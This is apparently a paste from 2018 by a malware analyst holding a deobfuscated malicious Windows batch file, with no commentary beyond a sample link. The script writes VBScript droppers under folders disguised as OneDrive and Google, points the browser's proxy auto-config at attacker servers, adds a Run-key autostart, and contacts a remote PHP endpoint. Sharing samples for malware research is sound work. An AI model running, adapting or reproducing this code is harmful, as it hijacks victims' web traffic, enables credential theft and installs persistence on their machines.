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dissectmalware

Deobfuscated Mal Batch file

Oct 5th, 2018
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Batch 5.82 KB | None | 0 0
  1. :: Shared on https://www.hybrid-analysis.com/sample/1c1d4bb9c66ba15a4c9767168eca450376a1495c0c86bc818e1682ff2bdc2407?environmentId=100
  2. @echo off
  3.  
  4. Set auei=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
  5.  
  6. cls
  7.  
  8. @echo off
  9.  
  10. cls
  11.  
  12. cd C:\ProgramData
  13.  
  14. cls
  15.  
  16. cls
  17.  
  18. cls
  19.  
  20. md Temporario
  21.  
  22. cls
  23.  
  24. cd Temporario
  25.  
  26. cls
  27.  
  28. cls
  29.  
  30. cls
  31.  
  32. echo DEXA EU RALA FDP > xherecasveiasraspadas.js
  33.  
  34. cls
  35.  
  36. cd A980S98DF89AS90DF9089SAD890FA089SD89F0890ASD89F0890ASD890F89A0SD09F890SAD890F890ASD890F089A0SD89F
  37.  
  38. cls
  39.  
  40. cd C:\ProgramData
  41.  
  42. cls
  43.  
  44. cls
  45.  
  46. md Microsoft OneDrive
  47.  
  48. cls
  49.  
  50. cd Microsoft OneDrive
  51.  
  52. cls
  53.  
  54. md setup
  55.  
  56. cls
  57.  
  58. cd setup
  59.  
  60. cls
  61.  
  62. cls
  63.  
  64. echo On Error Resume Next > Skype.vbs
  65.  
  66. echo Const HKEY_LOCAL_MACHINE =
  67. auei:~43,1%80000002  >> Skype.vbs
  68.  
  69. echo strComputer = "." >> Skype.vbs
  70.  
  71. echo Set BUNDAPRETAShell = WScript.CreateObject("WScript.Shell") >> Skype.vbs
  72.  
  73. echo Set oBUNDAPRETAShell = Wscript.CreateObject("Wscript.Shell") >> Skype.vbs
  74.  
  75. echo dim xvIDEOSHttp: Set xvIDEOSHttp = createobject("Microsoft.XMLHTTP") >> Skype.vbs
  76.  
  77. echo dim bUCETUDAStrm: Set bUCETUDAStrm = createobject("Adodb.Stream") >> Skype.vbs
  78.  
  79. echo WScript.Sleep 120000 >> Skype.vbs
  80.  
  81. echo Chave = BUNDAPRETAShell.RegRead("HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL") >> Skype.vbs
  82.  
  83. echo If Chave = "" Then  >> Skype.vbs
  84.  
  85. echo    valor = "http://mkt.detcaminhoes.com.br/busca/" >> Skype.vbs
  86.  
  87. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 0, "REG_DWORD"  >> Skype.vbs
  88.  
  89. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL", valor, "REG_SZ" >> Skype.vbs
  90.  
  91. echo Else >> Skype.vbs
  92.  
  93. echo    valor = "http://mkt.detcaminhoes.com.br/busca/" >> Skype.vbs
  94.  
  95. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 0, "REG_DWORD" >> Skype.vbs
  96.  
  97. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL", valor, "REG_SZ" >> Skype.vbs
  98.  
  99. echo End If  >> Skype.vbs
  100.  
  101. cls
  102.  
  103. cls
  104.  
  105. cls
  106.  
  107. echo WScript.Sleep 120000 >> Skype.vbs
  108.  
  109. echo Chave = BUNDAPRETAShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindoW") >> Skype.vbs
  110.  
  111. echo If Chave = "" Then  >> Skype.vbs
  112.  
  113. echo    valor = "C:\ProgramData\Temp\control.vbs" >> Skype.vbs
  114.  
  115. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindoW", valor, "REG_SZ" >> Skype.vbs
  116.  
  117. echo Else >> Skype.vbs
  118.  
  119. echo    valor = "C:\ProgramData\Temp\control.vbs" >> Skype.vbs
  120.  
  121. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindoW", valor, "REG_SZ" >> Skype.vbs
  122.  
  123. echo End If  >> Skype.vbs
  124.  
  125. cls
  126.  
  127. cls
  128.  
  129. cls
  130.  
  131. cls
  132.  
  133. echo Dim shl  >> Skype.vbs
  134.  
  135. echo   Set shl = CreateObject("Wscript.Shell")  >> Skype.vbs
  136.  
  137. echo   Call shl.Run("""C:\ProgramData\Microsoft OneDrive\setup\Skype.vbs""")  >> Skype.vbs
  138.  
  139. echo   Set shl = Nothing    >> Skype.vbs
  140.  
  141. echo   WScript.Quit >> Skype.vbs
  142.  
  143. echo WScript.Quit  >> Skype.vbs
  144.  
  145. cls
  146.  
  147. cls
  148.  
  149. cls
  150.  
  151. cls
  152.  
  153. cls
  154.  
  155. cls
  156.  
  157. cls
  158.  
  159. cls
  160.  
  161. start Skype.vbs
  162.  
  163. cls
  164.  
  165. cls
  166.  
  167. cd A980S98DF89AS90DF9089SAD890FA089SD89F0890ASD89F0890ASD890F89A0SD09F890SAD890F890ASD890F089A0SD89F
  168.  
  169. cls
  170.  
  171. cd C:\ProgramData
  172.  
  173. cls
  174.  
  175. cls
  176.  
  177. cls
  178.  
  179. md Temp
  180.  
  181. cls
  182.  
  183. cd Temp
  184.  
  185. cls
  186.  
  187. cls
  188.  
  189. cls
  190.  
  191. cls
  192.  
  193. echo On Error Resume Next > control.vbs
  194.  
  195. echo Const HKEY_LOCAL_MACHINE =
  196. auei:~43,1%80000002  >> control.vbs
  197.  
  198. echo strComputer = "." >> control.vbs
  199.  
  200. echo Set BUNDAPRETAShell = WScript.CreateObject("WScript.Shell") >> control.vbs
  201.  
  202. echo Set oBUNDAPRETAShell = Wscript.CreateObject("Wscript.Shell") >> control.vbs
  203.  
  204. echo dim xvIDEOSHttp: Set xvIDEOSHttp = createobject("Microsoft.XMLHTTP") >> control.vbs
  205.  
  206. echo dim bUCETUDAStrm: Set bUCETUDAStrm = createobject("Adodb.Stream") >> control.vbs
  207.  
  208. echo WScript.Sleep 120000 >> control.vbs
  209.  
  210. echo Chave = BUNDAPRETAShell.RegRead("HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL") >> control.vbs
  211.  
  212. echo If Chave = "" Then  >> control.vbs
  213.  
  214. echo    valor = "http://dyndns.vpsbrasil.club/vaikarai/" >> control.vbs
  215.  
  216. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 0, "REG_DWORD"  >> control.vbs
  217.  
  218. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL", valor, "REG_SZ" >> control.vbs
  219.  
  220. echo Else >> control.vbs
  221.  
  222. echo    valor = "http://dyndns.vpsbrasil.club/vaikarai/" >> control.vbs
  223.  
  224. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 0, "REG_DWORD" >> control.vbs
  225.  
  226. echo    oBUNDAPRETAShell.RegWrite "HKCU\Software\Microsoft\Windows\currentVersion\Internet Settings\AutoConfigURL", valor, "REG_SZ" >> control.vbs
  227.  
  228. echo End If  >> control.vbs
  229.  
  230. echo Dim shl  >> control.vbs
  231.  
  232. echo   Set shl = CreateObject("Wscript.Shell")  >> control.vbs
  233.  
  234. echo   Call shl.Run("""C:\ProgramData\Temp\control.vbs""")  >> control.vbs
  235.  
  236. echo   Set shl = Nothing    >> control.vbs
  237.  
  238. echo   WScript.Quit >> control.vbs
  239.  
  240. cls
  241.  
  242. cls
  243.  
  244. cls
  245.  
  246. cls
  247.  
  248. cls
  249.  
  250. cls
  251.  
  252. cls
  253.  
  254. cls
  255.  
  256. cls
  257.  
  258. cls
  259.  
  260. cls
  261.  
  262. cls
  263.  
  264. cls
  265.  
  266. cd C:\ProgramData
  267.  
  268. cls
  269.  
  270. cls
  271.  
  272. cls
  273.  
  274. md Temp
  275.  
  276. cls
  277.  
  278. cd Temp
  279.  
  280. cls
  281.  
  282. md Google
  283.  
  284. cls
  285.  
  286. cd Google
  287.  
  288. cls
  289.  
  290. cls
  291.  
  292. cls
  293.  
  294. md Google
  295.  
  296. md Chrome
  297.  
  298. md Java
  299.  
  300. md Drive
  301.  
  302. md Bing
  303.  
  304. md Flash Player
  305.  
  306. cls
  307.  
  308. cd Google
  309.  
  310. cls
  311.  
  312. cls
  313.  
  314. echo Dim oXMLHTTP > GetUrl.vbs
  315.  
  316. echo Dim oStream >> GetUrl.vbs
  317.  
  318. echo Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP.3.0") >> GetUrl.vbs
  319.  
  320. echo oXMLHTTP.Open "GET", "http://fernandacampospb.com.br/nefertari/90AS98DF.php", False >> GetUrl.vbs
  321.  
  322. echo oXMLHTTP.Send >> GetUrl.vbs
  323.  
  324. cls
  325.  
  326. cls
  327.  
  328. cls
  329.  
  330. cls
  331.  
  332. cls
  333.  
  334. cls
  335.  
  336. cls
  337.  
  338. cls
  339.  
  340. cls
  341.  
  342. start GetUrl.vbs
  343.  
  344. cls
  345.  
  346. cls
  347.  
  348. cls
  349.  
  350. cls
  351.  
  352. cls
  353.  
  354. cls
  355.  
  356. cls
  357.  
  358. cls
  359.  
  360. exit
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